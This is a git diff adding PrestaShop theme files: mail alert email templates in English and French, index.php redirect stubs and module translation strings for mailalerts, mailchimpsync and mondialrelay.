100755 index 0000000..1b9cf0d --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/customer_qty.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Product available + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is now available.
         
        This item is once again in-stock.

        You can access the product page by clicking on the link: {product}

        You can order it right now from our online shop.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/en/customer_qty.txt b/themes/default/modules/mailalerts/mails/en/customer_qty.txt new file mode 100755 index 0000000..9d6f58c --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/customer_qty.txt @@ -0,0 +1,12 @@ +Hi, + +Product {product} is now available. +This item is once again in-stock. + +You can access the product page on: {product_link} + +You can order it right now from our online shop. + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/mailalerts/mails/en/index.php b/themes/default/modules/mailalerts/mails/en/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/en/new_order.html b/themes/default/modules/mailalerts/mails/en/new_order.html new file mode 100755 index 0000000..17a8f2a --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/new_order.html @@ -0,0 +1,61 @@ + + + + + [{shop_name}] New order + + +

        {shop_name}

        Congratulations! A new order was placed on {shop_name} from the following customer:
        {firstname} {lastname} ({email})

        + + + + + + +
        +

        Order Details

        +

        Order: #{order_name} placed on {date}

        +

        Payment method: {payment}

        + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        ReferenceProductPriceQuantityTotal Price
        {items}
        Products{total_products}
        Discounts{total_discounts}
        Gift-wrapping{total_wrapping}
        Shipping{total_shipping}
        Total paid{total_paid}
        +

        Carrier: {carrier}

        + + + + + + + + +
        Delivery addressBilling address
        {delivery_block_html}{invoice_block_html}
        +

        Customer message: {message}

        +

        {shop_name} powered with PrestaShop™

        +
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/en/new_order.txt b/themes/default/modules/mailalerts/mails/en/new_order.txt new file mode 100755 index 0000000..0e0ba7d --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/new_order.txt @@ -0,0 +1,29 @@ +Hi, + +You've a new order from {firstname} {lastname} ({email}) on {shop_name}. + +Order: {order_name} +Placed on : {date} +Carrier : {carrier} +Payment: {payment} +Discounts: {total_discounts} +Shipping: {total_shipping} +Products: {total_products} +Gift-wrapping: {total_wrapping} +Total paid: {total_paid} + +Delivery address: + +{delivery_block_txt} + +Billing address: + +{invoice_block_txt} + +Customer message: + +{message} + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/mailalerts/mails/en/productcoverage.html b/themes/default/modules/mailalerts/mails/en/productcoverage.html new file mode 100755 index 0000000..285df04 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/productcoverage.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Stock cover + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is almost out of stock.
         
        The stock cover is now less than the specified minimum of {warning_coverage}.

        Current stock cover: {current_coverage}

         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/en/productcoverage.txt b/themes/default/modules/mailalerts/mails/en/productcoverage.txt new file mode 100755 index 0000000..2c15fb1 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/productcoverage.txt @@ -0,0 +1,10 @@ +Hi, + +The product {product} is almost out of stock. +The stock cover is now less than the specified minimum of {warning_coverage}. +Current stock cover : {current_coverage} + + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/mailalerts/mails/en/productoutofstock.html b/themes/default/modules/mailalerts/mails/en/productoutofstock.html new file mode 100755 index 0000000..095e5b2 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/productoutofstock.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Out of stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is nearly out of stock.
         
        The remaining stock is now less than the specified minimum of {last_qty}.

        Remaining stock: {qty}

        You are advised to open the product's admin Product Page in order to replenish your inventory.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/en/productoutofstock.txt b/themes/default/modules/mailalerts/mails/en/productoutofstock.txt new file mode 100755 index 0000000..7952a52 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/en/productoutofstock.txt @@ -0,0 +1,11 @@ +Hi, + +The product {product} is nearly out of stock. +The remaining stock is now less than the specified minimum of {last_qty}. +Remaining stock : {qty} + +You are advised to open the product's admin Product Page in order to replenish your inventory. + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr/customer_qty.html b/themes/default/modules/mailalerts/mails/fr/customer_qty.html new file mode 100755 index 0000000..941a1e0 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr/customer_qty.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Produit disponible + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est de nouveau disponible
         
        En effet, le stock a été réapprovisionné.

        Vous pouvez accéder à la page produit en cliquant sur le lien suivant: {product}

        Vous pouvez donc de nouveau commander ce produit depuis notre catalogue en ligne.
         
        {shop_name}
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr/customer_qty.txt b/themes/default/modules/mailalerts/mails/fr/customer_qty.txt new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailalerts/mails/fr/new_order.html b/themes/default/modules/mailalerts/mails/fr/new_order.html new file mode 100755 index 0000000..b01a11e --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr/new_order.html @@ -0,0 +1,70 @@ + + + + + [{shop_name}] Nouvelle commande + + +

        {shop_name}

        +


        Bravo! Une nouvelle commande a été passée sur votre boutique {shop_name} par ce client :
        {firstname} {lastname} ({email})

        + + + + + + +
        +

        Détails de commande

        +

        Commande : #{order_name} passée le {date}

        +

        Moyen de paiement : {payment}

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        RéférenceProduitPrix unitaireQuantitéPrix total
        {products}
        {discounts}
         Total produits{total_products}
         Bons d'achat et réductions{total_discounts}
         Emballage Cadeau{total_wrapping}
         Frais d'expédition{total_shipping}
         Total payé{total_paid}
        +

        Transporteur : {carrier}

        + + + + + + + + +
        Adresse de livraisonAdresse de facturation
        {delivery_block_html}{invoice_block_html}
        +

        Message du client : {message}

        +

        {shop_name}

        +
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr/new_order.txt b/themes/default/modules/mailalerts/mails/fr/new_order.txt new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailalerts/mails/fr/productcoverage.html b/themes/default/modules/mailalerts/mails/fr/productcoverage.html new file mode 100755 index 0000000..67fa8ce --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr/productcoverage.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Couverture de stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est en rupture de stock
         
        En effet, la couverture est maintenant inférieure à {warning_coverage}.

        Couverture actuelle : {current_coverage}

         
        {shop_name}
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr/productcoverage.txt b/themes/default/modules/mailalerts/mails/fr/productcoverage.txt new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailalerts/mails/fr/productoutofstock.html b/themes/default/modules/mailalerts/mails/fr/productoutofstock.html new file mode 100755 index 0000000..c4634b4 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr/productoutofstock.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Rupture de stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est en rupture de stock
         
        En effet, la quantité est maintenant inférieure à {last_qty}.

        Stock restant : {qty}

        Nous vous conseillons de vous rendre sur la page produit du panneau d'administration afin de renouveler vos stocks.
         
        {shop_name} propulsé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr/productoutofstock.txt b/themes/default/modules/mailalerts/mails/fr/productoutofstock.txt new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailalerts/mails/fr2/customer_qty.html b/themes/default/modules/mailalerts/mails/fr2/customer_qty.html new file mode 100755 index 0000000..5101483 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/customer_qty.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Produit disponible + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est de nouveau disponible
         
        En effet, le stock a été réapprovisionné.

        Vous pouvez accéder à la page produit en cliquant sur le lien suivant: {product}

        Vous pouvez donc de nouveau commander ce produit depuis notre catalogue en ligne.
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr2/customer_qty.txt b/themes/default/modules/mailalerts/mails/fr2/customer_qty.txt new file mode 100755 index 0000000..8a16787 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/customer_qty.txt @@ -0,0 +1,10 @@ +Bonjour, + +Le produit {product} est de nouveau disponible. +En effet, le stock a été réaprovisionné. + +Vous pouvez accéder à la page produit à ce lien: {product_link} + +Vous pouvez donc de nouveau commander ce produit depuis notre catalogue en ligne. + +{shop_url} réalisé par PrestaShop™ diff --git a/themes/default/modules/mailalerts/mails/fr2/new_order.html b/themes/default/modules/mailalerts/mails/fr2/new_order.html new file mode 100755 index 0000000..d2377a8 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/new_order.html @@ -0,0 +1,62 @@ + + + + + [{shop_name}] Nouvelle commande + + +

        {shop_name}

        Bravo! Une nouvelle commande a été passée sur votre boutique {shop_name} par ce client :
        {firstname} {lastname} ({email})

        + + + + + + +
        +

        Détails de commande

        +

        Commande : #{order_name} passée le {date}

        +

        Moyen de paiement : {payment}

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        RéférenceProduitPrixQuantitéPrix Total
        {items}
        Produits{total_products}
        Réductions{total_discounts}
        Emballage cadeaux{total_wrapping}
        Frais de port{total_shipping}
        Total payé{total_paid}
        +

        Transporteur : {carrier}

        + + + + + + + + +
        Adresse de livraisonAdresse de facturation
        {delivery_block_html}{invoice_block_html}
        +

        Message du client : {message}

        +

        {shop_name} propulsé avec PrestaShop™

        +
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr2/new_order.txt b/themes/default/modules/mailalerts/mails/fr2/new_order.txt new file mode 100755 index 0000000..14dbbcd --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/new_order.txt @@ -0,0 +1,25 @@ +Bonjour, + +Vous avez reçu une nouvelle commande de {firstname} {lastname} ({email}) sur {shop_name}. + +Commande : {order_name} +Date : {date} +Transporteur : {carrier} +Mode de paiement : {payment} +Bons d'achat et réductions : {total_discounts} +Frais d'expédition : {total_shipping} +Total produits : {total_products} +Emballage cadeau: {total_wrapping} +Total TTC : {total_paid} + +Adresse de livraison : + {delivery_block_txt} + +Adresse de facturation : + {invoice_block_txt} + +Message client : + +{message} + +{shop_url} réalisé par PrestaShop™ diff --git a/themes/default/modules/mailalerts/mails/fr2/productcoverage.html b/themes/default/modules/mailalerts/mails/fr2/productcoverage.html new file mode 100755 index 0000000..591d807 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/productcoverage.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Couverture de stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est en rupture de stock
         
        En effet, la couverture est maintenant inférieure à {warning_coverage}.

        Couverture actuelle : {current_coverage}

         
        {shop_name} propulsé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr2/productcoverage.txt b/themes/default/modules/mailalerts/mails/fr2/productcoverage.txt new file mode 100755 index 0000000..b8de492 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/productcoverage.txt @@ -0,0 +1,8 @@ +Bonjour, + +Le produit {product} est bientôt en rupture de stock. +En effet, la couverture de stock est maintenant inférieur à {warning_coverage}. +Couverture actuelle : {current_coverage} + + +{shop_url} réalisé avec PrestaShop™ diff --git a/themes/default/modules/mailalerts/mails/fr2/productoutofstock.html b/themes/default/modules/mailalerts/mails/fr2/productoutofstock.html new file mode 100755 index 0000000..342d59e --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/productoutofstock.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Rupture de stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} est en rupture de stock
         
        En effet, la quantité est maintenant inférieure à {last_qty}.

        Stock restant : {qty}

        Nous vous conseillons de vous rendre sur la page produit du panneau d'administration afin de renouveler vos stocks.
         
        {shop_name} propulsé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/fr2/productoutofstock.txt b/themes/default/modules/mailalerts/mails/fr2/productoutofstock.txt new file mode 100755 index 0000000..a1df839 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/fr2/productoutofstock.txt @@ -0,0 +1,9 @@ +Bonjour, + +Le produit {product} est bientôt en rupture de stock. +En effet, le seuil de rupture de stock de {last_qty} a été dépassé. +Stock restant : {qty} + +Nous vous conseillons de vous rendre sur la fiche du produit afin de renouveler vos stocks. + +{shop_url} réalisé par PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/mailalerts/mails/index.php b/themes/default/modules/mailalerts/mails/index.php new file mode 100755 index 0000000..1574997 --- /dev/null +++ b/themes/default/modules/mailalerts/mails/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/mailalerts/translations/en.php b/themes/default/modules/mailalerts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailalerts/translations/fr.php b/themes/default/modules/mailalerts/translations/fr.php new file mode 100755 index 0000000..72a07ed --- /dev/null +++ b/themes/default/modules/mailalerts/translations/fr.php @@ -0,0 +1,43 @@ +mailalerts-account_ae0e822b6fad0de61c231ef188997e92'] = 'Vous devez avoir un produit pour effacer une alerte.'; +$_MODULE['<{mailalerts}default>mailalerts-account_0d15d3afa8c174934ff0e43ce3b99bd3'] = 'Vous devez être identifié pour gérer vos alertes.'; +$_MODULE['<{mailalerts}default>mailalerts-account_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{mailalerts}default>mailalerts_fd30254803e8db32521d3390131a44da'] = 'Alertes e-mail'; +$_MODULE['<{mailalerts}default>mailalerts_2d51f4a7ab8a12c4f35b507019523b8c'] = 'Envoie des notifications par e-mail aux clients et aux marchands.'; +$_MODULE['<{mailalerts}default>mailalerts_8fd3b84964bd6dfec8095f658d200b29'] = 'Êtes-vous sûr de vouloir supprimer toutes les notifications clients ?'; +$_MODULE['<{mailalerts}default>mailalerts_c1ee76f076a5b97e3b4b0c0e5703246e'] = 'Impossible de mettre à jour les réglages'; +$_MODULE['<{mailalerts}default>mailalerts_ce241f25e003bafeb9fce6857d8f027f'] = 'Veuillez saisir une (ou plusieurs) addresse(s) e-mail'; +$_MODULE['<{mailalerts}default>mailalerts_29aae9c646337554f4de7ae29050c39f'] = 'E-mail invalide :'; +$_MODULE['<{mailalerts}default>mailalerts_58a20987a1f4e45d508b4491614a2c57'] = 'Notifications pour le client'; +$_MODULE['<{mailalerts}default>mailalerts_ea379dd90c33c1345f40aa0afa6688d8'] = 'Disponibilité du produit :'; +$_MODULE['<{mailalerts}default>mailalerts_86e8d61297942b00e9937299735df971'] = 'Donne au client la possibilité de recevoir une notification lorsqu\'un produit hors-stock est de nouveau disponible'; +$_MODULE['<{mailalerts}default>mailalerts_38fb7d24e0d60a048f540ecb18e13376'] = 'Enregistrer'; +$_MODULE['<{mailalerts}default>mailalerts_6f974bbda9064a9c0836370dbf5a6076'] = 'Notifications pour le marchand'; +$_MODULE['<{mailalerts}default>mailalerts_9204d21640382a89a95ec42f44f9051c'] = 'Nouvelle commande :'; +$_MODULE['<{mailalerts}default>mailalerts_dea3d17a0f0ecab1f65cc486bfa56051'] = 'Recevoir une notification lorsqu\'une commande est passée'; +$_MODULE['<{mailalerts}default>mailalerts_ebc3ccf8441dba3c1615afa6acb3282a'] = 'Hors stock :'; +$_MODULE['<{mailalerts}default>mailalerts_0b46debf72500e9a1650fa18e6ca72a1'] = 'Recevoir une notification si les quantités disponibles à la vente d\'un produit sont inférieurs au seuil suivant'; +$_MODULE['<{mailalerts}default>mailalerts_02505a778171466cc5e4f96c4eeaa9da'] = 'Seuil d\'alerte :'; +$_MODULE['<{mailalerts}default>mailalerts_62109400d1297f6b6c900eb7f6ba0aaa'] = 'Quantité à partir de laquelle le produit est considéré en rupture de stock'; +$_MODULE['<{mailalerts}default>mailalerts_3d7b12c4623906965db0a3f8e7390652'] = 'Alerte de couverture :'; +$_MODULE['<{mailalerts}default>mailalerts_929396618e54384e9a22493055028533'] = 'Recevoir une notification si la couverture de stock d\'un produit est en dessous de la couverture, en jours, suivante'; +$_MODULE['<{mailalerts}default>mailalerts_cadcfa2749b0cfb51d88837d4a934ad1'] = 'Couverture :'; +$_MODULE['<{mailalerts}default>mailalerts_a27c67cad62fc03d13c2f67e5f749691'] = 'Couverture de stock, en jours. Cette valeur est également utilisée pour calculer la couverture actuelle d\'un produit.'; +$_MODULE['<{mailalerts}default>mailalerts_7bcb7394f6b2ff226c423fea1a153754'] = 'Adresses e-mail'; +$_MODULE['<{mailalerts}default>mailalerts_4395d1c88a7f0796edc652d2b57bc664'] = 'Une adresse e-mail par ligne (ex : bob@example.com)'; +$_MODULE['<{mailalerts}default>mailalerts_7cb9a154f101c674c945f88dad5c5e28'] = 'Aucun message'; +$_MODULE['<{mailalerts}default>mailalerts_1d744a9ad1dac20645cfc4a36b77323b'] = 'image(s)'; +$_MODULE['<{mailalerts}default>mailalerts_9137796c15dd92e5553c3f29574d0968'] = 'Code de réduction :'; +$_MODULE['<{mailalerts}default>mailalerts-account_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{mailalerts}default>mailalerts-account_4edfd10d0bb5f51e0fd2327df608b5a8'] = 'Mes alertes'; +$_MODULE['<{mailalerts}default>mailalerts-account_8bb23c2ae698681ebb650f43acb54dab'] = 'Aucune alerte mail.'; +$_MODULE['<{mailalerts}default>mailalerts-account_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{mailalerts}default>my-account_4edfd10d0bb5f51e0fd2327df608b5a8'] = 'Mes alertes'; +$_MODULE['<{mailalerts}default>product_67135a14d3ac4f1369633dd006d6efec'] = 'votre@e-mail.com'; +$_MODULE['<{mailalerts}default>product_61172eb93737ebf095d3fa02119ce1df'] = 'Demande de notification enregistrée'; +$_MODULE['<{mailalerts}default>product_bb51a155575b81f4a07f7a9bafdc3b01'] = 'Vous avez déjà une alerte pour ce produit'; +$_MODULE['<{mailalerts}default>product_900f8551b29793ecb604a545b2059cc1'] = 'Votre adresse e-mail n\'est pas valable'; +$_MODULE['<{mailalerts}default>product_546e02eaa9a986c83cc347e273269f2c'] = 'Prévenez-moi lorsque le produit est disponible'; diff --git a/themes/default/modules/mailalerts/translations/index.php b/themes/default/modules/mailalerts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/mailalerts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/mailalerts2/translations/en.php b/themes/default/modules/mailalerts2/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailchimpsync/translations/en.php b/themes/default/modules/mailchimpsync/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/mailchimpsync/translations/fr.php b/themes/default/modules/mailchimpsync/translations/fr.php new file mode 100755 index 0000000..3874b21 --- /dev/null +++ b/themes/default/modules/mailchimpsync/translations/fr.php @@ -0,0 +1,32 @@ +mailchimpsync_b67f8f1a5223ce3f8fe9699f49ee5ac0'] = 'Mailchimp Sync'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_81431b66e94ab0f0b4775cf6341488b6'] = 'Synchronise automatiquement votre liste d\'abonnés dans PrestaShop avec votre compte MailChimp, et inversement aussi.'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_78d2d84f5fbafa1260f72c39fa0baa2c'] = 'Etes-vous sûr de vouloir désinstaller ce module ? Tous vos réglages seront perdus.'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_f2bbe13e382c81174c81569415e0ad9f'] = 'Ce module requiert l\'extension PHP cUrl.'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_9540dc2a82bc4e981db41557b57bb082'] = 'Vous n\'avez pas encore renseigné votre liste d\'abonnés MailChimp.'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_0c388aab925fc0c95e0ad5580d989f52'] = 'Vous n\'avez pas encore renseigné votre clé API MailChimp.'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_88dca3cc785d5f8f4569e346a842c029'] = 'Clé API invalide'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_c888438d14855d7d96a2724ee9c306bd'] = 'Réglages sauvegardés'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_8d8c5af36af7d1c06fa0658a251620b6'] = 'Liste invalide'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_7b0b542a837a451a546d78bf48608d25'] = 'Paramètres invalides'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_656a6828d7ef1bb791e42087c4b5ee6e'] = 'Clé API'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_e959b1e718c8ec4664ff723347420ddb'] = 'Vous devez avoir un compte MailChimp. Vous pouvez en créer un gratuitement sur leur site internet : '; +$_MODULE['<{mailchimpsync}default>mailchimpsync_fdebfefcc5e364b9d0f7e5e7fd737a36'] = 'Clé API MailChimp'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_49c5dd55b74f571f422c34064ff9506e'] = 'Exemple : 123456789abcdef0123456789abcdef0-us2'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_c0aea4fd10fe659b3e1691eedf343492'] = 'Liste'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_f8b381451aec9efa624f9f23c516d182'] = 'Liste MailChimp'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_27ca16752194caef767ce8f84636694c'] = 'Comment en créer une : '; +$_MODULE['<{mailchimpsync}default>mailchimpsync_1a7c1abde79b64cdc74a51fa07414842'] = 'Choisissez une liste'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_85fb5edbed9c4f5b01e208289dad3f31'] = 'Double opt in'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_3a059cde4ab0ee9d4e2284fe8c20576a'] = 'Envoyer un message de bienvenue'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_2b7747f30d02ff4d7aee1192aa661928'] = 'Supprimer le contact au désabonnement'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_7b043a80f20117a9609086b3c0408fda'] = 'Envoyer un message d\'adieu'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_8c76980c28c276c0d3a2064c7a810e80'] = 'Envoyer un message de notification'; +$_MODULE['<{mailchimpsync}default>mailchimpsync_59e4904d4366fab35a8282f418e699de'] = 'Adresse email invalide'; diff --git a/themes/default/modules/mondialrelay/translations/en.php b/themes/default/modules/mondialrelay/translations/en.php new file mode 100755 index 0000000..7e2297c --- /dev/null +++ b/themes/default/modules/mondialrelay/translations/en.php @@ -0,0 +1,196 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action Succeed'; +$_MODULE['<{mondialrelay}default>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Order State has been updated'; +$_MODULE['<{mondialrelay}default>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Cannot Update the account shop'; +$_MODULE['<{mondialrelay}default>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}default>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Deliver in Relay points'; +$_MODULE['<{mondialrelay}default>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'You need to select a dropp-off point before going to the next step.'; +$_MODULE['<{mondialrelay}default>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Invalid Enseigne'; +$_MODULE['<{mondialrelay}default>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Invalid Mark code'; +$_MODULE['<{mondialrelay}default>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clé Webservice invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Langage invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficient de poids invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nom de transporteur invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col Mode invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Mode de livraison invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Assurance invalide'; +$_MODULE['<{mondialrelay}default>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'You must choose at least one delivery country.'; +$_MODULE['<{mondialrelay}default>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Invalid order state'; +$_MODULE['<{mondialrelay}default>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action Succeed'; +$_MODULE['<{mondialrelay}default>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Les informations du compte viennent d\'être mises à jour'; +$_MODULE['<{mondialrelay}default>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossibilité de mettre à jour les infos du compte pour cette boutique'; +$_MODULE['<{mondialrelay}default>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Nouvelle méthode de transport ajoutée'; +$_MODULE['<{mondialrelay}default>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Le statu de la commande à été mise à jour'; +$_MODULE['<{mondialrelay}default>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Le transporteur a été supprimé (désactivé dans la base de données de PrestaShop)'; +$_MODULE['<{mondialrelay}default>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Nb expedition:'; +$_MODULE['<{mondialrelay}default>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Label URL'; +$_MODULE['<{mondialrelay}default>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'Follow-up URL'; +$_MODULE['<{mondialrelay}default>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Nb Point Relay :'; +$_MODULE['<{mondialrelay}default>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'La tranche de poids ne peut être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'La tranche de prix ne peux être ajouté'; +$_MODULE['<{mondialrelay}default>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'La zone par défaut ne peut être ajouté'; 